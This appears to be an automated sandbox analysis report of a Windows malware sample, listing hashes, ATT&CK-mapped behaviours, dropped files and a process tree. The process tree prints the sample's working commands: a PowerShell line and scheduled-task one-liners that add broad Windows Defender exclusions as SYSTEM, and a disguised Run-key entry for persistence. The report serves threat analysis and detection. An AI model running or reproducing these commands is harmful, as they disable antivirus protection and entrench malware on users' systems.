d9d1fd13da14290fa7c921ee4aca37f2efd4e0403005b6bc2a7e5dc12ee70124

Analysis

max time kernel
146s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/07/2026, 20:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
appstep.58680017.exe
Size 54.3MB
Sample260721-yrdwsstdke
SHA256 d9d1fd13da14290fa7c921ee4aca37f2efd4e0403005b6bc2a7e5dc12ee70124
MD5 5097818125ba6eaac331a2e1e87953e5
SHA1 61bda6180417df75a292c677cc769fe5c499fb2b
SHA512 a1e43f68b5f2b635fc20e9be741e5c62bff78d96e17f7852fa4e880fff1c2bfec0559ed2c53dbfb51bf1ce5c2b1df7a2f35f31a7d2269e7f56316b3155825be3
SSDEEP 98304:Ru19nmtLsx4qV5+uY2cQysL8kxEVv4vu7PErGCrC9ILrFMKQMYpTTDliJW9PgAd:AnnmtLsX5+um3nkSVveZYzvsyPgAd
TLSH
T10BC7F90676028DCAE06692B4145BBF91E3B9FD714AF1D36723F6272D1FEA34C4AA3144
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1072	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1768	lLWGm1.exe
1968	lLWGm1.exe

Loads dropped DLL 2 IoCs

pid	Process
1768	lLWGm1.exe
1968	lLWGm1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\slsBxh\\lLWGm1.exe\""	lLWGm1.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3176	cmd.exe
5844	cmd.exe
1944	cmd.exe
5008	cmd.exe
5540	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	lLWGm1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1572	cmd.exe
1860	cmd.exe
356	cmd.exe
5452	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3388	schtasks.exe
5696	schtasks.exe
3740	schtasks.exe
5064	schtasks.exe
4920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
3532	appstep.58680017.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe
1768	lLWGm1.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1072	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1768 wrote to memory of 1072	1768	lLWGm1.exe	92
PID 1768 wrote to memory of 5540	1768	lLWGm1.exe	94
PID 5540 wrote to memory of 5064	5540	cmd.exe	96
PID 5540 wrote to memory of 3228	5540	cmd.exe	97
PID 5540 wrote to memory of 4472	5540	cmd.exe	101
PID 1768 wrote to memory of 3176	1768	lLWGm1.exe	103
PID 3176 wrote to memory of 4920	3176	cmd.exe	106
PID 1768 wrote to memory of 5844	1768	lLWGm1.exe	107
PID 3176 wrote to memory of 5236	3176	cmd.exe	109
PID 1768 wrote to memory of 1944	1768	lLWGm1.exe	111
PID 5844 wrote to memory of 3388	5844	cmd.exe	113
PID 3176 wrote to memory of 4648	3176	cmd.exe	114
PID 1944 wrote to memory of 5696	1944	cmd.exe	115
PID 5844 wrote to memory of 4416	5844	cmd.exe	116
PID 5844 wrote to memory of 4328	5844	cmd.exe	118
PID 1944 wrote to memory of 1972	1944	cmd.exe	119
PID 1768 wrote to memory of 5008	1768	lLWGm1.exe	120
PID 1944 wrote to memory of 4332	1944	cmd.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe
"C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1268

C:\Users\Public\slsBxh\lLWGm1.exe
"C:\Users\Public\slsBxh\lLWGm1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\slsBxh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5540
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\slsBxh\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5064
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4920
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4276

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\slsBxh" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1572
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\slsBxh" /t REG_DWORD /d 0 /f
  2⤵
  PID:1520

C:\Users\Public\slsBxh\lLWGm1.exe
"C:\Users\Public\slsBxh\lLWGm1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1968

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4308

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1860
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:4896

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:356
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:572

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5452
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 e535d2ba34aff4851d3fada9a6711e3418d6bfacff52b2a10ca5794998f221b3
MD5 48919ffa508ac46cd11a809af7e6a5f0
SHA1 3c87cd6cf1f48ba13211f6eb8bcc3a7686604764
SHA512 14288e1af7a980c0d73a83d1d6da7d6736cda6d18604ba24c4dd1a0aec600882b794fbbebac16e431c12051823acea43e1930246b2f97ab29586e02c437fd933
TLSH
T11F21E64A4AB13F80BE012E4722C9C93F3EAA67D058AD400A1379889E31003EA7F7950E
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 0887c86b38370d50547353c120bbad0ff2f288aa0097bc758d60eab33bd9312d
MD5 afc407a217c6d7a3eea631162c937e73
SHA1 0e57ac20b2e73f4205b86d1e0f6c93dc92688569
SHA512 60dcf770549b21829440e2a44a6953e4678315521c6079d19d46f536b14fcfa516e0448bb764fc0d76e28b91a54e27f9d0c20cfbee0702be049522748d5f73cc
TLSH
T18121B34B8BFD4C846E069C860ADCE6B63CB183D810CC041CE14BE6346C223AA9F6239D
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 d42a5638e7cafe5593a5df0a250b56ab780275355938e5cf53fa0ea5344d79ae
MD5 cb3bb6a6cfb8b9fd379b5ce1101ebf0d
SHA1 f3456e74e0570c03a5a2f2adb2a64d47e3851b21
SHA512 09a05c99ebc979a452eb4d6f2408aa34c5a1f3629f59f1d24365a727b85d90f11cd6b0cd081f1c5a4019a2e61353e2b7d5f3b99d724278c5eaf246efc068ba75
TLSH
T18BF05C1C09FD813EF131CD355AC931A61E77F665300506B416D58B0CA505E062D5163D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 91574091854b5035375ddd6c4b5cbb3be10d278c34f2c6b14b834ad568fb1414
MD5 d944588efa281a8f2e8620c08ec2b0f6
SHA1 beb13f01c161331251107d497202e80c5b85dc52
SHA512 5e90a0d42a29905655daf9f3a1158e8b4aa76fd79aec0d1820398f238c092382967997fad7f687caadfa9f352f172c0b92bbf3c258ff6ee9b0e88d5c0f4b16e0
TLSH
T135F0272878F86068F175CB7851E622F1AE6BB923240506FF05A646186B40D506C8563E
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\slsBxh\UxEnhance64.dll
Size 3.1MB
SHA256 0969e9528346cee089ba2e6d538dccfa5fdbe34ae3b41ac636613e1af19b213a
MD5 71fc4ce7cdc5a1dac17b63844dbad765
SHA1 cb0903ab4a201b0676fe1e484d9e73de77d352a2
SHA512 e83cdf5e3b767d638f3d0016bf02159d88797b236c459b3680f1e908a8d07a98c248cddde6858984c1d14bc073c79b779201f4f817d0aa08c8b7ce51ed6dbc2c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+v:P9m29xx3Tiqt06ox6+z2rNNrKov
TLSH
T1C1E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\slsBxh\adoresd.dat
Size 4.8MB
SHA256 4f46fb2fc23091004fa93a4a0f42f2d90e6875ec322db0748465e736b8b20e18
MD5 7c7facf622de8aec1636446674644656
SHA1 bbdf841ad5087c0555d6ca342f05790ec45265f2
SHA512 78a5b79e6cf75830ae00eb9419387370bed4b8ecd677ed50bc27bdbe548e0b453c1846bd9f8ab5f1da7bcfa4d2d3f0055c304754dc681dd806512f24abe8789a
SSDEEP 98304:6uZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:3QDPnORb7AdPEm7Y7ltlVgxs
TLSH
T186363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lLWGm1.exe

Path C:\Users\Public\slsBxh\lLWGm1.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\slsBxh\msadox.tb
Size 8KB
SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
MD5 5c5456d5456a11af49fb071c0abb6073
SHA1 80ab103fcfd0e3770c98f747d719a121d6e25587
SHA512 59cf4807b4f3e53e299123a3ab892f20a198d50625606c36ce39a853e9a33565de7a66fbb7fe71f4f4a970c6db65281684a464dedfc2e96aa24fffbb48b31d29
SSDEEP 192:vqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:vsZqZOXQ3uqvR2Kfzp
TLSH
T10D029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1072-608-0x000002821AB40000-0x000002821AB4A000-memory.dmp

Download

memory/1072-605-0x000002821AD80000-0x000002821AE32000-memory.dmp

Download

memory/1072-604-0x000002821AD60000-0x000002821AD7E000-memory.dmp

Download

memory/1072-601-0x000002821AB00000-0x000002821AB22000-memory.dmp

Download

memory/1768-561-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

Download

memory/1768-534-0x00007FFAE0EB0000-0x00007FFAE13CE000-memory.dmp

Download

memory/1768-542-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-546-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-547-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-549-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-548-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-553-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-563-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

Download

memory/1768-562-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

Download

memory/1768-533-0x00007FFB03B30000-0x00007FFB03B32000-memory.dmp

Download

memory/1768-560-0x000001FD0BA90000-0x000001FD0BB1A000-memory.dmp

Download

memory/1768-559-0x000001FD0B930000-0x000001FD0B97E000-memory.dmp

Download

memory/1768-567-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-569-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-570-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-539-0x000001FD0B030000-0x000001FD0B8EE000-memory.dmp

Download

memory/1768-541-0x00007FFB03B40000-0x00007FFB03B42000-memory.dmp

Download

memory/1968-594-0x00007FFB03B30000-0x00007FFB03B32000-memory.dmp

Download

memory/1968-590-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

Download

memory/1968-580-0x00007FFAE0EB0000-0x00007FFAE13CE000-memory.dmp

Download

memory/1968-583-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

Download

memory/1968-588-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

Download

memory/1968-585-0x00007FFB03B40000-0x00007FFB03B42000-memory.dmp

Download

memory/1968-593-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

Download

memory/1968-592-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

Download

memory/1968-591-0x0000026A4BFC0000-0x0000026A4C87E000-memory.dmp

Download

memory/3532-0-0x00000000004D0000-0x00000000004DD000-memory.dmp

Download

memory/3532-527-0x00007FFAFB8F0000-0x00007FFAFB902000-memory.dmp

Download

memory/3532-526-0x00000000004D0000-0x00000000004DD000-memory.dmp

Download

memory/3532-504-0x00007FFAFB8F0000-0x00007FFAFB902000-memory.dmp

Download

memory/3532-2-0x00000000004E0000-0x00000000004EB000-memory.dmp

Download

memory/3532-1-0x00000000004D0000-0x00000000004DD000-memory.dmp

Download